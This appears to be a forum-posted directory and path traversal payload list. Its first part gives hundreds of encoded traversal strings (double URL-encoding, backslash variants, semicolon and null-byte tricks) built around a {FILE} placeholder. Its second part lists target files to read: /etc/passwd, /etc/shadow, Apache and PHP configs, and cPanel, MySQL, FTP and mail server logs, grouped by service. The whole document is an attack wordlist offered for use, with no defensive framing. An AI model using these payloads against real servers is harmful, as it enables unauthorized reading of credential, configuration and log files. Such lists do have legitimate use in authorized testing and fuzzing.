%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}index.html
%252e%252e%252f{FILE}index.html
%252e%252e%252f%252e%252e%252f{FILE}index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE​}index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e​%252e%252f{FILE}index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e​%252e%252f%252e%252e%252f{FILE}index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e​%252e%252f%252e%252e%252f%252e%252e%252f{FILE}index.html
..\{FILE}index.html
..\..\{FILE}index.html
..\..\..\{FILE}index.html
..\..\..\..\{FILE}index.html
..\..\..\..\..\{FILE}index.html
..\..\..\..\..\..\{FILE}index.html
..\..\..\..\..\..\..\{FILE}index.html
..\..\..\..\..\..\..\..\{FILE}index.html
..%5c{FILE}index.html
..%5c..%5c{FILE}index.html
..%5c..%5c..%5c{FILE}index.html
..%5c..%5c..%5c..%5c{FILE}index.html
..%5c..%5c..%5c..%5c..%5c{FILE}index.html
..%5c..%5c..%5c..%5c..%5c..%5c{FILE}index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}index.html
%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}index.html
%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}%0​0index.html
..%255c{FILE}index.html
..%255c..%255c{FILE}index.html
..%255c..%255c..%255c{FILE}index.html
..%255c..%255c..%255c..%255c{FILE}index.html
..%255c..%255c..%255c..%255c..%255c{FILE}index.html
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}index.html
%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}index.html
%252e%252e%255c{FILE}index.html
%252e%252e%255c%252e%252e%255c{FILE}index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE​}index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e​%252e%255c{FILE}index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e​%252e%255c%252e%252e%255c{FILE}index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e​%252e%255c%252e%252e%255c%252e%252e%255c{FILE}index.html
../{FILE};index.html
../../{FILE};index.html
../../../{FILE};index.html
../../../../{FILE};index.html
../../../../../{FILE};index.html
../../../../../../{FILE};index.html
../../../../../../../{FILE};index.html
../../../../../../../../{FILE};index.html
..%2f{FILE};index.html
..%2f..%2f{FILE};index.html
..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html
%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE};index.html
%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};index.html
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE};i​ndex.html
..%252f{FILE};index.html
..%252f..%252f{FILE};index.html
..%252f..%252f..%252f{FILE};index.html
..%252f..%252f..%252f..%252f{FILE};index.html
..%252f..%252f..%252f..%252f..%252f{FILE};index.html
..%252f..%252f..%252f..%252f..%252f..%252f{FILE};index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE};index.html
..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE};index.html
%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html
%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE};index.html
%252e%252e%252f{FILE};index.html
%252e%252e%252f%252e%252e%252f{FILE};index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE​};index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e​%252e%252f{FILE};index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e​%252e%252f%252e%252e%252f{FILE};index.html
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e​%252e%252f%252e%252e%252f%252e%252e%252f{FILE};index.html
..\{FILE};index.html
..\..\{FILE};index.html
..\..\..\{FILE};index.html
..\..\..\..\{FILE};index.html
..\..\..\..\..\{FILE};index.html
..\..\..\..\..\..\{FILE};index.html
..\..\..\..\..\..\..\{FILE};index.html
..\..\..\..\..\..\..\..\{FILE};index.html
..%5c{FILE};index.html
..%5c..%5c{FILE};index.html
..%5c..%5c..%5c{FILE};index.html
..%5c..%5c..%5c..%5c{FILE};index.html
..%5c..%5c..%5c..%5c..%5c{FILE};index.html
..%5c..%5c..%5c..%5c..%5c..%5c{FILE};index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE};index.html
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE};index.html
%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE};index.html
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE};index.html
%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};index.html
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE};i​ndex.html
..%255c{FILE};index.html
..%255c..%255c{FILE};index.html
..%255c..%255c..%255c{FILE};index.html
..%255c..%255c..%255c..%255c{FILE};index.html
..%255c..%255c..%255c..%255c..%255c{FILE};index.html
..%255c..%255c..%255c..%255c..%255c..%255c{FILE};index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE};index.html
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE};index.html
%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE};index.html
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE};index.html
%252e%252e%255c{FILE};index.html
%252e%252e%255c%252e%252e%255c{FILE};index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE​};index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e​%252e%255c{FILE};index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e​%252e%255c%252e%252e%255c{FILE};index.html
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e​%252e%255c%252e%252e%255c%252e%252e%255c{FILE};index.html
\../{FILE}
\../\../{FILE}
\../\../\../{FILE}
\../\../\../\../{FILE}
\../\../\../\../\../{FILE}
\../\../\../\../\../\../{FILE}
\../\../\../\../\../\../\../{FILE}
\../\../\../\../\../\../\../\../{FILE}
/..\{FILE}
/..\/..\{FILE}
/..\/..\/..\{FILE}
/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\/..\/..\{FILE}
/..\/..\/..\/..\/..\/..\/..\/..\{FILE}

---

Tambahan...

Code:

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Apache:::
----------
../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../apache2/logs/error.log
../apache2/logs/access.log
../../apache2/logs/error.log
../../apache2/logs/access.log
../../../apache2/logs/error.log
../../../apache2/logs/access.log
../../../../apache2/logs/error.log
../../../../apache2/logs/access.log
../../../../../apache2/logs/error.log
../../../../../apache2/logs/access.log
../logs/error.log
../logs/access.log
../../logs/error.log
../../logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../usr/local/apache2/logs/access_log
../../../../../../../../../../usr/local/apache2/logs/access.log
../../../../../../../../../../usr/local/apache2/logs/error_log
../../../../../../../../../../usr/local/apache2/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/access.log
../../../../../../../../../../var/log/httpd/error_log
../../../../../../../../../../var/log/httpd/error.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/apache2/access_log
../../../../../../../../../../var/log/apache2/access.log
../../../../../../../../../../var/log/apache2/error_log
../../../../../../../../../../var/log/apache2/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/access.log
../../../../../../../../../../var/log/error_log
../../../../../../../../../../var/log/error.log
../../../../../../../../../../opt/lampp/logs/access_log
../../../../../../../../../../opt/lampp/logs/error_log
../../../../../../../../../../opt/xampp/logs/access_log
../../../../../../../../../../opt/xampp/logs/error_log
../../../../../../../../../../opt/lampp/logs/access.log
../../../../../../../../../../opt/lampp/logs/error.log
../../../../../../../../../../opt/xampp/logs/access.log
../../../../../../../../../../opt/xampp/logs/error.log
../../../../../../../../../../Program Files\Apache  Group\Apache\logs\access.log
../../../../../../../../../../Program  Files\Apache Group\Apache\logs\error.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log
Conf:::
--------
../../../../../../usr/local/apache/conf/httpd.conf
../../../../../../usr/local/apache2/conf/httpd.conf
../../../../../../etc/httpd/conf/httpd.conf
../../../../../../etc/apache/conf/httpd.conf
../../../../../../usr/local/etc/apache/conf/httpd.conf
../../../../../../etc/apache2/httpd.conf
../../../../../../../../../usr/local/apache/conf/httpd.conf
../../../../../../../../../usr/local/apache2/conf/httpd.conf
../../../../../../../../usr/local/apache/httpd.conf
../../../../../../../../usr/local/apache2/httpd.conf
../../../../../../../../usr/local/httpd/conf/httpd.conf
../../../../../../../usr/local/etc/apache/conf/httpd.conf
../../../../../../../usr/local/etc/apache2/conf/httpd.conf
../../../../../../../usr/local/etc/httpd/conf/httpd.conf
../../../../../../../usr/apache2/conf/httpd.conf
../../../../../../../usr/apache/conf/httpd.conf
../../../../../../../usr/local/apps/apache2/conf/httpd.conf
../../../../../../../usr/local/apps/apache/conf/httpd.conf
../../../../../../etc/apache/conf/httpd.conf
../../../../../../etc/apache2/conf/httpd.conf
../../../../../../etc/httpd/conf/httpd.conf
../../../../../../etc/http/conf/httpd.conf
../../../../../../etc/apache2/httpd.conf
../../../../../../etc/httpd/httpd.conf
../../../../../../etc/http/httpd.conf
../../../../../../etc/httpd.conf
../../../../../opt/apache/conf/httpd.conf
../../../../../opt/apache2/conf/httpd.conf
../../../../var/www/conf/httpd.conf
../../../private/etc/httpd/httpd.conf
../../../private/etc/httpd/httpd.conf.default
../../Volumes/webBackup/opt/apache2/conf/httpd.conf
../../Volumes/webBackup/private/etc/httpd/httpd.conf
../../Volumes/webBackup/private/etc/httpd/httpd.conf.default
../../../../../../../../../Program Files\Apache Group\Apache\conf\httpd.conf
../../../../../../../../../Program Files\Apache  Group\Apache2\conf\httpd.conf
../../../../../../../../../Program  Files\xampp\apache\conf\httpd.conf
../../../../../../../../../usr/local/php/httpd.conf.php
../../../../../../../../../usr/local/php4/httpd.conf.php
../../../../../../../../../usr/local/php5/httpd.conf.php
../../../../../../../../../usr/local/php/httpd.conf
../../../../../../../../../usr/local/php4/httpd.conf
../../../../../../../../../usr/local/php5/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/usr/local/etc/apache/vhosts.conf

php.ini:::
----------
../../../../../../../../../etc/php.ini
../../../../../../../../../bin/php.ini
../../../../../../../../../etc/httpd/php.ini
../../../../../../../../../usr/lib/php.ini
../../../../../../../../../usr/lib/php/php.ini
../../../../../../../../../usr/local/etc/php.ini
../../../../../../../../../usr/local/lib/php.ini
../../../../../../../../../usr/local/php/lib/php.ini
../../../../../../../../../usr/local/php4/lib/php.ini
../../../../../../../../../usr/local/php5/lib/php.ini
../../../../../../../../../usr/local/apache/conf/php.ini
../../../../../../../../../etc/php4.4/fcgi/php.ini
../../../../../../../../../etc/php4/apache/php.ini
../../../../../../../../../etc/php4/apache2/php.ini
../../../../../../../../../etc/php5/apache/php.ini
../../../../../../../../../etc/php5/apache2/php.ini
../../../../../../../../../etc/php/php.ini
../../../../../../../../../etc/php/php4/php.ini
../../../../../../../../../etc/php/apache/php.ini
../../../../../../../../../etc/php/apache2/php.ini
../../../../../../../../../web/conf/php.ini
../../../../../../../../../usr/local/Zend/etc/php.ini
../../../../../../../../../opt/xampp/etc/php.ini
../../../../../../../../../var/local/www/conf/php.ini
../../../../../../../../../etc/php/cgi/php.ini
../../../../../../../../../etc/php4/cgi/php.ini
../../../../../../../../../etc/php5/cgi/php.ini
../../../../../../../../../php5\php.ini
../../../../../../../../../php4\php.ini
../../../../../../../../../php\php.ini
../../../../../../../../../PHP\php.ini
../../../../../../../../../WINDOWS\php.ini
../../../../../../../../../WINNT\php.ini
../../../../../../../../../apache\php\php.ini
../../../../../../../../../xampp\apache\bin\php.ini
../../../../../../../../../NetServer\bin\stable\apache\php.ini
../../../../../../../../../home2\bin\stable\apache\php.ini
../../../../../../../../../home\bin\stable\apache\php.ini
../../../../../../../../../Volumes/Macintosh_HD1/usr/local/php/lib/php.ini

Cpanel *log:::
---------------
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
*conf
/var/cpanel/cpanel.config

MySQL *log:::
--------------
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
*conf
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf

MySQL(Windows) log + conf:::
----------------------------
C:\Program Files\MySQL\MySQL Server 5.0\data\hostname.err
C:\Program  Files\MySQL\MySQL Server 5.0\data\mysql.log
C:\Program Files\MySQL\MySQL  Server 5.0\data\mysql.err
C:\Program Files\MySQL\MySQL Server  5.0\data\mysql-bin.log
C:\Program Files\MySQL\data\hostname.err
C:\Program Files\MySQL\data\mysql.log
C:\Program  Files\MySQL\data\mysql.err
C:\Program Files\MySQL\data\mysql-bin.log
C:\MySQL\data\hostname.err
C:\MySQL\data\mysql.log
C:\MySQL\data\mysql.err
C:\MySQL\data\mysql-bin.log
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program  Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\my.cnf
C:\MySQL\my.ini
C:\MySQL\my.cnf

FTP:::
--------
ProFTPD:
*log
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
*conf
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf

vsftpd:
*log
/var/log/vsftpd.log
/etc/vsftpd.chroot_list
/etc/logrotate.d/vsftpd.log
*conf
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers

wu-ftpd:
*log
/var/log/xferlog
/var/adm/log/xferlog
*conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers

Pure-FTPd:
*conf
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
-/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
DragonflyBSD & FreeBSD:  /usr/ports/ftp/pure-ftpd/
OpenBSD: /usr/ports/net/pure-ftpd/
NetBSD:  /usr/pkgsrc/net/pureftpd/
Crux Linux: /usr/ports/contrib/pure-ftpd/
*log
/var/log/pure-ftpd/pure-ftpd.log
/logs/pure-ftpd.log
/var/log/pureftpd.log

Other:
/var/log/ftp-proxy/ftp-proxy.log
/var/log/ftp-proxy
/var/log/ftplog
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts

Mail Server:::
---------------
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/maillog
/var/log/exim_paniclog
/var/log/exim/paniclog
/var/log/exim/rejectlog
/var/log/exim_rejectlog

M.O.R.E >> "Directory / Path Traversal"